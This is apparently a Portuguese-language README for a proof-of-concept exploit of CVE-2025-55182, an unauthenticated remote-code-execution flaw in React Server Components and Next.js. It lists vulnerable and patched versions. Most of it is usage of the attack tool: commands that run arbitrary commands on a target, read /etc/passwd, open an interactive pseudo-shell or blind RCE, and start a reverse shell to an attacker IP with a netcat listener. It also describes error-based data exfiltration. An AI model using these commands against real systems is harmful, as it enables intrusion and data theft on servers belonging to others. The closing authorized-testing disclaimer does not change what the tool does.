
CVE-2025-55182 React2Shell PoC - RCE crítico em React Server Components / Next.js. CVSS 10.0. Exfiltração baseada em erros, reverse shell, modo interativo.
Prova de Conceito para CVE-2025-55182, uma vulnerabilidade crítica de Execução Remota de Código não autenticada em React Server Components.
Pontuação CVSS: 10.0 (Crítico)
A vulnerabilidade existe no desserializador do protocolo Flight do React. Ao explorar poluição de protótipo por meio de payloads especialmente criados, um atacante pode alcançar execução de código arbitrário em aplicações Next.js vulneráveis.
| Produto | Vulnerável | Corrigido |
|---|
| React | 19.0.0 - 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
| Next.js | 14.3.0-canary.77 - 16.x | 15.0.5, 15.1.9, 15.2.6, 16.0.7+ |
git clone https://github.com/p3ta00/react2shell-poc.git
cd react2shell-poc
pip install requests
A saída é retornada diretamente na resposta HTTP via erro NEXT_REDIRECT - nenhum servidor de callback necessário.
python3 react2shell-poc.py -t http://TARGET:3000 -c "id"
python3 react2shell-poc.py -t http://TARGET:3000 -c "cat /etc/passwd"
python3 react2shell-poc.py -t http://TARGET:3000 -i
python3 react2shell-poc.py -t http://TARGET:3000 --check
python3 react2shell-poc.py -t http://TARGET:3000 -c "touch /tmp/pwned" --blind
# Start listener
nc -lvnp 4444
# Send payload
python3 react2shell-poc.py -t http://TARGET:3000 --revshell --lhost YOUR_IP --lport 4444
python3 react2shell-poc.py -t http://TARGET:3000 -c "id" --listen --lhost YOUR_IP
-t, --target URL do alvo (obrigatório)
-c, --command Comando a executar (saída via exfiltração baseada em erro por padrão)
--check Verificar se o alvo está vulnerável
--blind Modo RCE cego (sem captura de saída)
--listen Usar servidor de callback em vez de exfiltração baseada em erro
-i, --interactive Modo pseudo-shell interativo
--revshell Tentar shell reverso
--lhost IP do atacante para callbacks/shell reverso
--lport Porta de callback (padrão: 9999)
--callback URL de callback manual
--timeout Tempo limite da requisição em segundos (padrão: 30)
O método de exfiltração padrão usa injeção de erro NEXT_REDIRECT:
NEXT_REDIRECT com saída no campo digestIsso é mais confiável do que a exfiltração baseada em callback porque não requer acesso de rede de saída do alvo.
Esta ferramenta é apenas para testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. Sempre obtenha a devida autorização antes de testar.
p3ta